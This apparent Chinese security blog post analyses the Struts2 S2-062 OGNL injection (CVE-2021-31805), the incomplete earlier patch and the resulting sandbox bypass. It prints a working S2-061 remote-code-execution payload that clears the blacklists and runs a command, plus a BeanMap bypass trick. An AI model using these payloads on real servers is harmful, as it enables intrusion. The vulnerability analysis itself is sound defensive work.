近日Apache官方公布S2-062远程代码执行漏洞安全公告,漏洞编号为 CVE-2021-31805:
从通报来看,S2-062漏洞可以认为是S2-059和S2-061的延续,由于补丁修复不完整,导致仍然有标签可以实现二次OGNL表达式注入,漏洞影响版本为`Struts v2.0.0-v2.5.29`。
S2-061漏洞触发点其实和S2-059是一样,都是针对标签属性`id`的二次OGNL表达式赋值,S2-059漏洞补丁(`Struts v2.5.22`版本)只对沙箱进行了增强,直到S2-061漏洞补丁(`Struts v2.5.26`版本)才对触发点`UIBean#setId`进行了修复,将OGNL表达式赋值过程`findString`改成了直接赋值:
同时补丁对沙箱也进行了增强(`struts-default.xml`),黑名单中新增了Tomcat、JBoss、Weblogic等中间件的jar包:
从漏洞描述来看,S2-062仍然是标签属性二次表达式注入漏洞。标签解析开始于`ComponentTagSupport#doStartTag`,结束于`ComponentTagSupport#doEndTag`:
进入`UIBean#end`:
进入`evaluateParams`函数,在第220行对属性`name`调用`findString`进行了一次OGNL表达式赋值(回顾Struts2历史漏洞):
将`name`赋值为我们提交的标签值。接着往下走,第340行判断便签属性不存在`value`且`name`非空时将进入`completeExpressionIfAltSyntax`函数:
当`name`赋值为类似`3*3`的格式时,变量`expr`就会变成`%{3*3}`,并通过`recursion`函数(输入参数为`name`)进行处理:
`recursion`返回`False`进入:
`findValue`函数完成第二次OGNL表达式赋值,从而触发表达式注入漏洞。我们可以构造如下表单:
上面已经实现了OGNL表达式注入,但是我们还需要绕过沙箱才能实现RCE。首先回顾S2-061实现命令执行方式:
%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}
而`Struts v2.5.26`将`org.apache.tomcat.`加入了黑名单,所以无法获取`BeanMap`对象。参考OGNL语法:
可以通过类似方式很容易获取`BeanMap`对象:
#@org.apache.commons.collections.BeanMap@{}
`org.apache.commons.collections.BeanMap`并不在黑名单中。可以替换payload绕过限制,从而实现RCE:
新增了`NotExcludedAcceptedPatternsChecker`接口和`DefaultNotExcludedAcceptedPatternsChecker`子类:
通过添加正则表达式规则来限制OGNL表达式赋值:
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,且听安全团队及文章作者不为此承担任何责任。
点关注,不迷路!
原文始发于微信公众号(且听安全):【最新漏洞预警】S2-062 Struts2 OGNL表达式注入漏洞与沙箱绕过分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论